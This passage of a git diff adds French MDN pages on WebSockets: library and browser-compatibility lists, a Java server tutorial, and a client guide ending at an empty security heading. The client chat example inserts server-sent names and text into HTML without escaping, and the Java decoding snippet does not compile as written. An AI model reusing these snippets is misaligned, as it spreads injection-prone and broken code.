+ <dd>Evénement envoyé par l'objet WebSocket lors de la fermeture de la connexion.</dd>
+ <dt><a href="/fr/docs/Web/API/MessageEvent">MessageEvent</a></dt>
+ <dd>Evénement envoyé par l'objet WebSocket lorsqu'un message est reçu par le serveur.</dd>
+</dl>
+
+
+
+<h2 id="Outils">Outils</h2>
+
+<div class="cleared row topicpage-table">
+<ul>
+ <li> <a href="https://humblenet.github.io/" style="">HumbleNet</a><span style=""> :Bibliothèque de réseau multiplateforme qui fonctionne dans un navigateur. Il s'agit bibliothèque écrite en C qui enveloppe WebSockets et WebRTC. Elle gomme toutes les différences qui existent entre les navigateurs et les logiciels, ce qui facilite la création d'une fonctionnalité de réseau multi-joueurs pour les jeux, par exemple,  et autres applications.</span></li>
+ <li><a href="https://github.com/uWebSockets/uWebSockets">µWebSockets</a>: Déclinaison plus légère et plus performante de WebSocket et écrite en <a href="https://isocpp.org/">C++11</a> et en <a href="https://nodejs.org/fr/">Node.js</a>.</li>
+ <li><a href="https://github.com/ClusterWS/ClusterWS">ClusteWS</a>: Framework léger, rapide et puissant qui permet de construire des application en <a href="https://nodejs.org/fr/">Node.js</a>.</li>
+ <li><a class="external" href="http://socket.io" title="http://socket.io/">Socket.IO</a>: API WebSocket puissante et multiplateformes en <a class="external" href="http://nodejs.org" title="http://nodejs.org/">Node.js</a>.</li>
+ <li><a href="https://socketcluster.io/#!/">SocketCluster</a>: Framework open source en temps réel en <a class="external" href="http://nodejs.org" title="http://nodejs.org/">Node.js</a>. Il prend en charge à la fois la communication directe client-serveur et la communication de groupe via les pub/sub canaux. Il est conçu pour s'adapter facilement à n'importe quel nombre de processus/hôtes et est idéal pour construire de chat de discution.</li>
+ <li><a class="link-https" href="https://github.com/Worlize/WebSocket-Node" title="https://github.com/Worlize/WebSocket-Node">WebSocket-Node</a>: API WebSocket coté serveur en <a class="external" href="http://nodejs.org" title="http://nodejs.org/">Node.js</a>.</li>
+ <li><a href="https://www.totaljs.com/">Total.js</a>: FrameWork pour web application en <a class="external" href="http://nodejs.org" title="http://nodejs.org/">Node.js</a>.</li>
+ <li><a href="https://www.npmjs.com/package/faye-websocket">Faye</a>: Combine WebSocket(bidirectionnelle) et EventSource(unidirectionnelle) , côté serveur et côté client en <a class="external" href="http://nodejs.org" title="http://nodejs.org/">Node.js</a>.</li>
+ <li><a href="http://signalr.net/">SignalR</a>: SignalR est une nouvelle bibliothèque pour les développeurs <a href="https://dotnet.microsoft.com/apps/aspnet">ASP.NET</a>. Elle simplifie l'ajout des WebSockets dans les applications. SignalR utilise les canaux  de WebSockets lorsqu'elles sont disponibles,  dans le cas contraire elle utilise d'autres technos, sans modifier votre application.</li>
+ <li><a href="https://caddyserver.com/docs/websocket">Caddy</a>: Serveur web capable de créer des WebSockets serveur/proxy(stdin/stdout, echo, cat, ...).</li>
+ <li><a href="https://github.com/websockets/ws">ws</a>: La plus populaire des WebSockets pour client &amp; serveur en <a class="external" href="http://nodejs.org" title="http://nodejs.org/">Node.js</a>.</li>
+ <li><a href="https://github.com/bigstepinc/jsonrpc-bidirectional">jsonrpc-bidirectional</a>: Asynchronous RPC which, on a single connection, may have functions exported on the server and, and the same time, on the client (client may call server, server may also call client).</li>
+ <li><a href="https://github.com/ninenines/cowboy">cowboy</a>: Cowboy est un petit serveur HTTP rapide et moderne pour Erlang/OTP basé sur WebSocket.</li>
+</ul>
+</div>
+
+<h2 id="Ressources_liées">Ressources liées</h2>
+
+<ul>
+ <li>
+  <p><a href="/en-US/docs/AJAX" title="AJAX">AJAX</a></p>
+ </li>
+ <li>
+  <p><a href="/en-US/docs/JavaScript" title="JavaScript">JavaScript</a></p>
+ </li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>
+  <p><a class="external" href="http://tools.ietf.org/html/rfc6455">RFC 6455 - Le protocole WebSocket</a></p>
+ </li>
+ <li>
+  <p><a class="external" href="http://www.w3.org/TR/websockets/">Les spécifications de l'API WebSocket</a></p>
+ </li>
+ <li>
+  <p><a href="/en-US/docs/Server-sent_events" title="Server-sent_events">Server-Sent Events</a></p>
+ </li>
+</ul>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>
+    <p>Caractéristiques</p>
+   </th>
+   <th>
+    <p>Chrome</p>
+   </th>
+   <th>
+    <p>Firefox (Gecko)</p>
+   </th>
+   <th>
+    <p>Internet Explorer</p>
+   </th>
+   <th>
+    <p>Opera</p>
+   </th>
+   <th>
+    <p>Safari</p>
+   </th>
+  </tr>
+  <tr>
+   <td>
+    <p>Support de la version -76 {{obsolete_inline}}</p>
+   </td>
+   <td>
+    <p>6</p>
+   </td>
+   <td>
+    <p>{{CompatGeckoDesktop("2.0")}}</p>
+   </td>
+   <td>
+    <p>{{CompatNo}}</p>
+   </td>
+   <td>
+    <p>11.00 (désactivé)</p>
+   </td>
+   <td>
+    <p>5.0.1</p>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p>Support de la version du protocole 7 {{obsolete_inline}}</p>
+   </td>
+   <td>
+    <p>{{CompatNo}}</p>
+   </td>
+   <td>
+    <p>{{CompatGeckoDesktop("6.0")}}<br>
+     {{property_prefix("Moz")}}</p>
+   </td>
+   <td>
+    <p>{{CompatNo}}</p>
+   </td>
+   <td>
+    <p>{{CompatNo}}</p>
+   </td>
+   <td>
+    <p>{{CompatNo}}</p>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p>Support de la version du Protocole 10 {{obsolete_inline}}</p>
+   </td>
+   <td>
+    <p>14</p>
+   </td>
+   <td>
+    <p>{{CompatGeckoDesktop("7.0")}}<br>
+     {{property_prefix("Moz")}}</p>
+   </td>
+   <td>
+    <p>HTML5 Labs</p>
+   </td>
+   <td>
+    <p>{{CompatUnknown}}</p>
+   </td>
+   <td>
+    <p>{{CompatUnknown}}</p>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p>Standard - RFC 6455 Support</p>
+   </td>
+   <td>
+    <p>16</p>
+   </td>
+   <td>
+    <p>{{CompatGeckoDesktop("11.0")}}</p>
+   </td>
+   <td>
+    <p>10</p>
+   </td>
+   <td>
+    <p>12.10</p>
+   </td>
+   <td>
+    <p>6.0</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>
+    <p>Caractéristiques</p>
+   </th>
+   <th>
+    <p>Android</p>
+   </th>
+   <th>
+    <p>Firefox Mobile (Gecko)</p>
+   </th>
+   <th>
+    <p>IE Mobile</p>
+   </th>
+   <th>
+    <p>Opera Mobile</p>
+   </th>
+   <th>
+    <p>Safari Mobile</p>
+   </th>
+  </tr>
+  <tr>
+   <td>
+    <p>Support de la version -76 {{obsolete_inline}}</p>
+   </td>
+   <td>
+    <p>{{CompatUnknown}}</p>
+   </td>
+   <td>
+    <p>{{CompatUnknown}}</p>
+   </td>
+   <td>
+    <p>{{CompatUnknown}}</p>
+   </td>
+   <td>
+    <p>{{CompatUnknown}}</p>
+   </td>
+   <td>
+    <p>{{CompatUnknown}}</p>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p>Support de la version du protocole 7 {{obsolete_inline}}</p>
+   </td>
+   <td>
+    <p>{{CompatUnknown}}</p>
+   </td>
+   <td>
+    <p>{{CompatUnknown}}</p>
+   </td>
+   <td>
+    <p>{{CompatUnknown}}</p>
+   </td>
+   <td>
+    <p>{{CompatUnknown}}</p>
+   </td>
+   <td>
+    <p>{{CompatUnknown}}</p>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p>Support de la version du protocole 8 (IETF draft 10) {{obsolete_inline}}</p>
+   </td>
+   <td>
+    <p>{{CompatUnknown}}</p>
+   </td>
+   <td>
+    <p>{{CompatGeckoMobile("7.0")}}</p>
+   </td>
+   <td>
+    <p>{{CompatUnknown}}</p>
+   </td>
+   <td>
+    <p>{{CompatUnknown}}</p>
+   </td>
+   <td>
+    <p>{{CompatUnknown}}</p>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p>Support du Standard - RFC 6455</p>
+   </td>
+   <td>
+    <p>16 (Chrome)</p>
+   </td>
+   <td>
+    <p>{{CompatGeckoDesktop("11.0")}}</p>
+   </td>
+   <td>
+    <p>{{CompatUnknown}}</p>
+   </td>
+   <td>
+    <p>12.10</p>
+   </td>
+   <td>
+    <p>6.0</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="Notes_pour_Gecko">Notes pour Gecko</h3>
+
+<p>Le support des WebSockets dans Firefox suit les évolutions continuelles de la spécification WebSocket. Firefox 6 met en œuvre la version 7 du protocole sous-jacent, tandis que Firefox 7 mets en œuvre la version 8 (comme spécifié dans le draft 10 de l'IETF). Firefox mobile supporte WebSocket à partir de la version Firefox mobile 7.0.</p>
+
+<h4 id="Gecko_6.0">Gecko 6.0</h4>
+
+<p>Avant Gecko 6.0 {{geckoRelease("6.0")}}, il y avait un objet <code>WebSocket</code>, mal nommé, qui a fait supposer à certains sites que les services<code>WebSocket</code> services n'étaient pas prefixés ; cet objet a été renommé en <code>MozWebSocket</code>.</p>
+
+<h4 id="Gecko_7.0">Gecko 7.0</h4>
+
+<p>À partir de la version 7.0 de Gecko {{geckoRelease("7.0")}}, la préférence <code>network.websocket.max-connections</code> est utilisée pour déterminer le nombre maximum de connexions Websockets qui peuvent être ouvertes en même temps. La valeur par défaut est de 200.</p>
+
+<h4 id="Gecko_8.0">Gecko 8.0</h4>
+
+<p>À partir de la version 8.0 de Gecko {{geckoRelease("8.0")}}, l'extension "deflate-stream" du protocole WebSocket a été désactivée, car elle a été rendu obsolète dans les spécifications. Cela corrige des problèmes d'incompatibilité avec certains sites.</p>
+
+<h4 id="Gecko_11.0">Gecko 11.0</h4>
+
+<p>Avant la version 11.0 de Gecko, la taille maximum des messages entrants et sortants était limitée à 16 Mo. Elle peut maintenant atteindre une taille de 2 Go. Ce maximum est pourtant plus théorique que pratique à cause des limitations de mémoire de certains appareils (principalement avec les appareils mobiles). En pratique, des transferts de cette taille maximum vont échouer sur les appareils qui n'ont pas assez de mémoire.</p>
+
+<p>En outre, le support de l'envoi et la reception d'ArrayBuffer pour les données binaires à été réalisé.</p>
+
+<p>A partir de la veriosn 11.0 de Gecko 11.0, l'API WebSocket n'est plus préfixée.</p>
+
+<div class="warning"><strong>Attention:</strong> WebSocket a été désactivé dans les versions 4 et 5 de Firefox, principalement en raison de la découverte d'un <a class="external" href="http://www.ietf.org/mail-archive/web/hybi/current/msg04744.html" title="http://www.ietf.org/mail-archive/web/hybi/current/msg04744.html">problème de sécurité dans la conception du protocole</a>. Cela a été corrigé dans la version 6 de Firefox qui met en œuvre une nouvelle version du protocole.</div>
+
+<div></div>
diff --git a/files/fr/web/api/websockets_api/writing_a_websocket_server_in_java/index.html b/files/fr/web/api/websockets_api/writing_a_websocket_server_in_java/index.html
new file mode 100644
index 0000000000..ccd9f5ce9c
--- /dev/null
+++ b/files/fr/web/api/websockets_api/writing_a_websocket_server_in_java/index.html
@@ -0,0 +1,219 @@
+---
+title: Écrire un serveur WebSocket en Java
+slug: Web/API/WebSockets_API/Writing_a_WebSocket_server_in_Java
+translation_of: Web/API/WebSockets_API/Writing_a_WebSocket_server_in_Java
+---
+<h2 id="Introduction">Introduction</h2>
+
+<p>Cet exemple montre comment cérer une serveur d'API WebSocket API utilisant Java d'Oracle.</p>
+
+<p>Bien que d'autres languages exécutés côté serveur peuvent être utilisés pour créer un serveur de WebSocket, cet exemple utilise Java d'Oracle pour simplifier le code en exemple.</p>
+
+<p>Ce seveur respecte la <a href="http://tools.ietf.org/html/rfc6455" title="http://tools.ietf.org/html/rfc6455">RFC 6455</a>, dont il prend uniquement en charge les connexions depuis Chrome 16, Firefox 11, IE 10 et au delà.</p>
+
+<h2 id="Premiers_pas">Premiers pas</h2>
+
+<p>WebSockets communique via une connexion <a href="http://en.wikipedia.org/wiki/Transmission_Control_Protocol" title="http://en.wikipedia.org/wiki/Transmission_Control_Protocol">TCP (Transmission Control Protocol)</a>. La classe Java <a href="http://docs.oracle.com/javase/8/docs/api/java/net/ServerSocket.html">ServerSocket</a> est située dans le paquet <em>java.net</em>.</p>
+
+<h3 id="ServerSocket">ServerSocket</h3>
+
+<p>Constructeur :</p>
+
+<pre class="brush: java"><code><span class="memberNameLink">ServerSocket</span>(int port)</code></pre>
+
+<p>Lors de l'instanciation de la classe ServerSocket, celle-ci est liée au numéro de port renseigné par le paramètre <em>port</em>.</p>
+
+<p><span style="line-height: 1.572;">Voici comment implémenter ce que nous venons d'apprendre :</span></p>
+
+<pre class="brush: java">import java.net.ServerSocket;
+import java.net.Socket;
+
+public class Server{
+    public static void main(String[] args){
+        ServerSocket server = new ServerSocket(80);
+
+        System.out.println("Démarrage du serveur sur 127.0.0.1:80.\r\nAttente d’une connexion...");
+
+        Socket client = server.accept();
+
+        System.out.println("Un client s’est connecté.");
+    }
+}</pre>
+
+<h3 id="Socket">Socket</h3>
+
+<p>Méthodes :</p>
+
+<ul>
+ <li><code>java.net.</code><a href="http://docs.oracle.com/javase/8/docs/api/java/net/Socket.html" title="class in java.net">Socket</a><code> <span class="memberNameLink"><a href="http://docs.oracle.com/javase/8/docs/api/java/net/Socket.html#getInputStream--">getInputStream</a></span>()</code><br>
+  Renvoie un flux d’entrée pour ce socket.</li>
+ <li><code>java.net.</code><a href="http://docs.oracle.com/javase/8/docs/api/java/net/Socket.html" title="class in java.net">Socket</a><code> <span class="memberNameLink"><a href="http://docs.oracle.com/javase/8/docs/api/java/net/Socket.html#getOutputStream--">getOutputStream</a></span>()</code><br>
+  Renvoie un flux sortant pour ce socket.</li>
+</ul>
+
+<h3 id="OutputStream">OutputStream</h3>
+
+<p>Méthode :</p>
+
+<pre class="brush: java">write<code>(byte[] b, int off, int len)</code></pre>
+
+<p>En débutant à partir de la position <em>off</em>, écrit <em><code>len</code></em> octets du tableau d'octets fourni.</p>
+
+<h3 id="InputStream">InputStream</h3>
+
+<p>Méthodes :</p>
+
+<pre class="brush: java"><span class="brush: cpp" style="line-height: 1.572;">read</span><code>(byte[] b, int off, int len)</code></pre>
+
+<p>Reads up to <em>len</em> bytes of data from the input stream into an array of bytes.<em> </em></p>
+
+<p>Lit jusqu'à <em>len</em> octets de données depuis source d'entrée dans un tableau d'octets.</p>
+
+<p>Développons notre exemple.</p>
+
+<pre class="brush: java">Socket client = server.accept();
+
+System.out.println("Un client s’est connecté.");
+
+InputStream in = client.getInputStream();
+
+OutputStream out = client.getOutputStream();
+
+new Scanner(in, "UTF-8").useDelimiter("\\r\\n\\r\\n").next();</pre>
+
+<h2 id="Établissement_d‘une_liaison_(handshaking)">Établissement d‘une liaison (handshaking)</h2>
+
+<p>Quand un client se connecte à un serveur, il envoit une requête GET pour passer à une connexion WebSocket à partir d'une simple connexion HTTP. Ceci est appelé l’établissement d’une liaison.</p>
+
+<pre class="brush: java">import java.util.Scanner;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+//translate bytes of request to string
+String data = new Scanner(in,"UTF-8").useDelimiter("\\r\\n\\r\\n").next();
+
+Matcher get = Pattern.compile("^GET").matcher(data);
+
+if (get.find()) {
+
+} else {
+
+}</pre>
+
+<p>Créer une réponse est plus facile que de comprendre pourquoi vous devez le faire comme ça.</p>
+
+<p>Vous devez,</p>
+
+<ol>
+ <li>obtenir la valeur de la requête d’entête <em>Sec-WebSocket-Key</em> sans aucun espacement;</li>
+ <li>la lier avec « 258EAFA5-E914-47DA-95CA-C5AB0DC85B11 »;</li>
+ <li>en calculer les codes SHA-1 et Base64;</li>
+ <li>renvoyer le résultat comme valeur de l'entête de réponse <em>Sec-WebSocket-Accept</em> qui sera une partie d’une réponse HTTP.</li>
+</ol>
+
+<pre class="brush: java">if (get.find()) {
+    Matcher match = Pattern.compile("Sec-WebSocket-Key: (.*)").matcher(data);
+    match.find();
+    byte[] response = ("HTTP/1.1 101 Switching Protocols\r\n"
+            + "Connection: Upgrade\r\n"
+            + "Upgrade: websocket\r\n"
+            + "Sec-WebSocket-Accept: "
+            + DatatypeConverter
+            .printBase64Binary(
+                    MessageDigest
+                    .getInstance("SHA-1")
+                    .digest((match.group(1) + "258EAFA5-E914-47DA-95CA-C5AB0DC85B11")
+                            .getBytes("UTF-8")))
+            + "\r\n\r\n")
+            .getBytes("UTF-8");
+
+    out.write(response, 0, response.length);
+}
+</pre>
+
+<h2 id="Décoder_les_messages">Décoder les messages</h2>
+
+<p>Après l’établissement réussie d’une liaison, le client peut transmettre des messages au serveur, ils seront désormais encodés.</p>
+
+<p>Si nous envoyons « abcdef », nous obtenons :</p>
+
+<table>
+ <tbody>
+  <tr>
+   <td>129</td>
+   <td>134</td>
+   <td>167</td>
+   <td>225</td>
+   <td>225</td>
+   <td>210</td>
+   <td>198</td>
+   <td>131</td>
+   <td>130</td>
+   <td>182</td>
+   <td>194</td>
+   <td>135</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>- 129:</p>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">FIN (est-ce la totalité du message ?)</th>
+   <th scope="col">RSV1</th>
+   <th scope="col">RSV2</th>
+   <th scope="col">RSV3</th>
+   <th scope="col">Opcode</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>1</td>
+   <td>0</td>
+   <td>0</td>
+   <td>0</td>
+   <td>0x1=0001</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>FIN : votre message peut être transmis en plusieurs morceaux, mais restons simple pour l’instant.<br>
+ <span style="line-height: 1.572;">Opcode </span><em>0x1</em><span style="line-height: 1.572;"> signifie que ceci est un texte. </span><a href="http://tools.ietf.org/html/rfc6455#section-5.2" style="line-height: 1.572;" title="http://tools.ietf.org/html/rfc6455#section-5.2">Liste exhaustive des Opcodes</a></p>
+
+<p>- 134:</p>
+
+<p>If the second byte minus 128 is between 0 and 125, this is the length of the message. If it is 126, the following 2 bytes (16-bit unsigned integer), if 127, the following 8 bytes (64-bit unsigned integer, the most significant bit MUST be 0) are the length.</p>
+
+<p>Si le second octet moins 128 est entre 0 et 125, alors il s’agit de la longueur du message. Si c’est 126, les deux octets suivants (entier non signé de 16-bits), si c’est 127, les huit octets suivants (entier non signé de 64-bis, dont le poid ford doit être 0) sont la longueur.</p>
+
+<div class="note">
+<p>Je peux prendre 128 car le premier bit est toujours 1.</p>
+</div>
+
+<p>- 167, 225, 225 et 210 sont les octets de la clef à décoder. Cela change en permanence.</p>
+
+<p>- Les octets encodés restants constituent le message.</p>
+
+<h3 id="Algorithme_de_décodage">Algorithme de décodage</h3>
+
+<p>octet décodé = octet encodé XOR (position de l’octet ET LOGIQUE 0x3)th octet de la clef</p>
+
+<p>Exemple en Java :</p>
+
+<pre class="brush: java">byte[] decoded = new byte[6];
+byte[] encoded = new byte[] {198, 131, 130, 182, 194, 135};
+byte[] key = byte[4] {167, 225, 225, 210};
+
+for (int i = 0; i &lt; encoded.length; i++) {
+    decoded[i] = (byte)(encoded[i] ^ key[i &amp; 0x3]);
+}</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/WebSockets/Writing_WebSocket_servers">Écriture de serveurs WebSocket</a></li>
+</ul>
+
+<div id="cke_pastebin" style="position: absolute; top: 2209.23px; width: 1px; height: 1px; overflow: hidden; left: -1000px;"> </div>
diff --git a/files/fr/web/api/websockets_api/writing_websocket_client_applications/index.html b/files/fr/web/api/websockets_api/writing_websocket_client_applications/index.html
new file mode 100644
index 0000000000..92c3179ee8
--- /dev/null
+++ b/files/fr/web/api/websockets_api/writing_websocket_client_applications/index.html
@@ -0,0 +1,187 @@
+---
+title: Ecrire des applications client WebSocket
+slug: Web/API/WebSockets_API/Writing_WebSocket_client_applications
+translation_of: Web/API/WebSockets_API/Writing_WebSocket_client_applications
+---
+<p>Les WebSockets représentent une technologie, basée sur le protocole web socket, qui permet d'établir une session de communication bilatérale entre un navigateur web et un serveur. Un navigateur web est un exemple typique de client websocket typique mais le protocole n'est  dépendant d'aucune plateforme.</p>
+
+<div class="note"><strong>Note:</strong> Un exemple d'utilisation des WebSockets à travers un système de chat sera mis à disposition sous forme de code dès que nos infrastructures seront en mesure de supporter les WebSockets.</div>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Création_d'un_objet_WebSocket">Création d'un objet WebSocket</h2>
+
+<p>Pour utiliser le protocole WebSocket, il faut créer un objet <a href="/en/WebSockets/WebSockets_reference/WebSocket" title="en/WebSockets/WebSockets reference/WebSocket"><code>WebSocket</code></a> ; celui-ci essaiera automatiquement d'ouvrir une connexion avec le server.</p>
+
+<p>Le constructeur WebSocket accepte un paramètre obligatoire et un paramètre optionnel :</p>
+
+<pre>WebSocket WebSocket(
+  in DOMString url,
+  in optional DOMString protocols
+);
+
+WebSocket WebSocket(
+  in DOMString url,
+  in optional DOMString[] protocols
+);
+</pre>
+
+<dl>
+ <dt><code>url</code></dt>
+ <dd>L'URL à laquelle le client se connecte, et le serveur répond.</dd>
+ <dt><code>protocols</code> {{ optional_inline() }}</dt>
+ <dd>Soit une chaîne décrivant un protocole unique, soit une liste de chaînes décrivant chacune un protocole. Ces chaînes permettent d'indiquer des sous-protocoles, de façon à ce qu'un serveur puisse implémenter plusieurs sous-protocoles WebSocket (par example, on pourrait vouloir qu'un serveur soit capable de traiter différents types d'interactions en fonction du protocole spécifié). Si aucun protocole n'est spécifié, l'argument prend la valeur d'une chaîne vide.</dd>
+</dl>
+
+<p>Le constructeur peut renvoyer des exceptions:</p>
+
+<dl>
+ <dt><code>SECURITY_ERR</code></dt>
+ <dd>Le port sur lequel on essaie d'établir la connexion est bloqué.</dd>
+</dl>
+
+<dl>
+</dl>
+
+<h3 id="Erreurs_de_connexion">Erreurs de connexion</h3>
+
+<p>Si une erreur se produit lors de la tentative de connexion, un  évènement nommé "error" est d'abord renvoyé à l'objet  <a href="/en/WebSockets/WebSockets_reference/WebSocket" title="WebSocket"><code>WebSocket</code></a> (invoquant ainsi son gestionnaire d'évènement <code>onerror</code>) suivi d'un évènement <a href="/en/WebSockets/WebSockets_reference/CloseEvent" title="CloseEvent"><code>CloseEvent</code></a> (qui invoque alors son gestionnaire d'évènement <code>onclose</code>) indiquant la raison de la clôture.</p>
+
+<p>A partir de Firefox 11, un message d'erreur descriptif est envoyé à la console de la plateforme Mozilla, et un code de fermeture tel que défini dans la <a class="external" href="http://tools.ietf.org/html/rfc6455#section-7.4" title="RFC 6455 Section 7.4">RFC 6455, Section 7.4</a> est envoyé à travers l'évènement <a href="/en/WebSockets/WebSockets_reference/CloseEvent" title="CloseEvent"><code>CloseEvent</code></a>.</p>
+
+<h3 id="Exemples">Exemples</h3>
+
+<p>Cet  exemple simple crée un nouvel objet WebSocket, qui se connecte au serveur à l'adresse <code><span class="nowiki">ws://www.example.com/socketserver</span></code>. Un protocole spécifique "protocolOne" est indiqué dans cette exemple, bien qu'il ne soit pas obligatoire.</p>
+
+<pre class="brush: js">var exampleSocket = new WebSocket("ws://www.example.com/socketserver", "protocolOne");
+</pre>
+
+<p>Lorsque la connexion est établie, la propriété <code>readyState</code> de l'objet <code>exampleSocket </code>prend la valeur <code>CONNECTING</code>. Sa valeur devient  <code>OPEN</code> une fois que la connexion est prête à transférer des données.</p>
+
+<p>Pour ouvrir une connexion flexible quant aux protocoles supportés, on spécifie une liste de protocoles:</p>
+
+<pre class="brush: js">var exampleSocket = new WebSocket("ws://www.example.com/socketserver", ["protocolOne", "protocolTwo"]);
+</pre>
+
+<p>Une fois la connexion établie (c'est-à-dire quand <code>readyState</code> a la valeur <code>OPEN</code>), la propriété <code>protocol</code> indique quel protocole le server a sélectionné.</p>
+
+<p>Dans les exemples ci-dessus on a remplacé  <code>http</code> par <code>ws</code>, et de la même façon on peut remplacer <code>https</code> par  <code>wss</code> . L'établissement d'une connexion WebSocket repose sur le méchanisme HTTP Upgrade, donc la requête pour l'upgrade de protocole est implicite lorsqu'on s'adresse au server HTTP avec <code><span class="nowiki">ws://www.example.com</span></code> ou <code><span class="nowiki">wss://www.example.com</span></code>.</p>
+
+<h2 id="Envoi_de_données_vers_le_serveur">Envoi de données vers le serveur</h2>
+
+<p>Une fois la connexion ouverte on peut commencer à tranférer des données vers le serveur en appelant la méthode  <a href="/en/WebSockets/WebSockets_reference/WebSocket#send()" title="en/WebSockets/WebSockets reference/WebSocket#send()"><code>send()</code></a> de l'objet <code>WebSocket</code> pour chaque message que l'on veut envoyer :</p>
+
+<p>Les données peuvent être envoyées sous forme de chaîne {{ domxref("Blob") }} ou de  <a href="/en/JavaScript_typed_arrays/ArrayBuffer" title="en/JavaScript typed arrays/ArrayBuffer"><code>ArrayBuffer</code></a>.</p>
+
+<div class="note"><strong>Note:</strong> Avant la version 11, Firefox supportait l'envoi de données uniquement sous forme de chaîne.</div>
+
+<p>Comme l'établissement d'une connexion est asynchrone, et peut potentiellemet échouer, appeler la méthode <code>send()</code> juste après la création d'un objet WebSocket peut ne pas fonctionner. Il est plus sûr de définir un gestionnaire d'évènement <code>onopen</code>, et de n'essayer d'envoyer des données que lorsqu'il est appelé.</p>
+
+<pre class="brush: js">exampleSocket.onopen = function (event) {
+  exampleSocket.send("Voici un texte que le serveur attend de recevoir dès que possible !");
+};
+</pre>
+
+<h3 id="Utilisation_de_JSON_pour_transmettres_des_objets">Utilisation de JSON pour transmettres des objets</h3>
+
+<p>Il peut être utile d'utiliser <a href="/en/JSON" title="en/JSON">JSON</a> pour envoyer des données complexes au serveur. Par exemple, un programme de chat peut interagir avec un serveur en utilisant un protocole qui implémente l'échange de paquets contenant des données encapsulées en JSON:</p>
+
+<pre class="brush: js">// Envoi d'un texte à tous les utilisateurs à travers le serveur
+function sendText() {
+  // Création d'un objet msg qui contient les données
+  // dont le serveur a besoin pour traiter le message
+  var msg = {
+    type: "message",
+    text: document.getElementById("text").value,
+    id:   clientID,
+    date: Date.now()
+  };
+
+  // Envoi de l'objet msg à travers une chaîne formatée en JSON
+  exampleSocket.send(JSON.stringify(msg));
+
+  // Efface le texte de l'élément input
+  // afin de recevoir la prochaine ligne de texte
+  // que l'utilisateur va saisir
+  document.getElementById("text").value = "";
+}
+</pre>
+
+<h2 id="Réception_de_données_du_serveur">Réception de données du serveur</h2>
+
+<p>WebSockets est une API orientée évènement; lorsqu'elle reçoit un message, un évènement "message" est envoyé au gestionnaire d'évènement <code>onmessage</code>. Pour écouter les données reçues, on peut écrire quelque chose comme:</p>
+
+<pre class="brush: js">exampleSocket.onmessage = function (event) {
+  console.log(event.data);
+}
+</pre>
+
+<h3 id="Réception_et_interprétation_d'objets_JSON">Réception et interprétation d'objets JSON</h3>
+
+<p>Considérons l'application de chatr évoquée dans {{ anch("Using JSON to transmit objects") }}. Le client peut recevoir différents tupes de paquets de données, tels que:</p>
+
+<ul>
+ <li>établissement d'une liaison (handshaking)</li>
+ <li>message texte</li>
+ <li>mise à jour de la liste d'utilisateurs</li>
+</ul>
+
+<p>Le code qui interprète ces messages entrants pourrait être:</p>
+
+<pre class="brush: js">exampleSocket.onmessage = function(event) {
+  var f = document.getElementById("chatbox").contentDocument;
+  var text = "";
+  var msg = JSON.parse(event.data);
+  var time = new Date(msg.date);
+  var timeStr = time.toLocaleTimeString();
+
+  switch(msg.type) {
+    case "id":
+      clientID = msg.id;
+      setUsername();
+      break;
+    case "username":
+      text = "&lt;b&gt;User &lt;em&gt;" + msg.name + "&lt;/em&gt; signed in at " + timeStr + "&lt;/b&gt;&lt;br&gt;";
+      break;
+    case "message":
+      text = "(" + timeStr + ") &lt;b&gt;" + msg.name + "&lt;/b&gt;: " + msg.text + "&lt;br&gt;";
+      break;
+    case "rejectusername":
+      text = "&lt;b&gt;Your username has been set to &lt;em&gt;" + msg.name + "&lt;/em&gt; because the name you chose is in use.&lt;/b&gt;&lt;br&gt;"
+      break;
+    case "userlist":
+      var ul = "";
+      for (i=0; i &lt; msg.users.length; i++) {
+        ul += msg.users[i] + "&lt;br&gt;";
+      }
+      document.getElementById("userlistbox").innerHTML = ul;
+      break;
+  }
+
+  if (text.length) {
+    f.write(text);
+    document.getElementById("chatbox").contentWindow.scrollByPages(1);
+  }
+};
+</pre>
+
+<p>Ici nous utilisons <a href="/en/JavaScript/Reference/Global_Objects/JSON/parse" title="en/JavaScript/Reference/Global Objects/JSON/parse"><code>JSON.parse()</code></a> pour convertir l'objet JSON en l'objet original, avant de l'examiner et le traiter.</p>
+
+<h3 id="Encodage_du_texte">Encodage du texte</h3>
+
+<p>Le texte reçu à travers une connexion WebSocket est encodé au format UTF-8.</p>
+
+<p>Avant Gecko 9.0 {{ geckoRelease("9.0") }}, certains charactères spéciaux dans une chaîne UTF-8 provoquaient l'interruption de la connexion. Maintenant Gecko accepte ces caractères.</p>
+
+<h2 id="Fermeture_de_la_connexion">Fermeture de la connexion</h2>
+
+<p>Quand on n'a plus besoin de la connexion WebSocket, on appelle la méthode <a href="/en/WebSockets/WebSockets_reference/WebSocket#close()" title="en/WebSockets/WebSockets reference/WebSocket#close()"><code>close()</code></a> de l'objet WebSocket:</p>
+
+<pre class="brush: js">exampleSocket.close();
+</pre>
+
+<p>Il peut être utile de vérifier la valeur de l'attribut <code>bufferedAmount</code> avant de fermer la connexion, pour s'assurer qu'il ne reste pas des données qui n'ont pas été transmises.</p>
+
+<h2 id="Considérations_de_sécurité">Considérations de sécurité</h2>
+
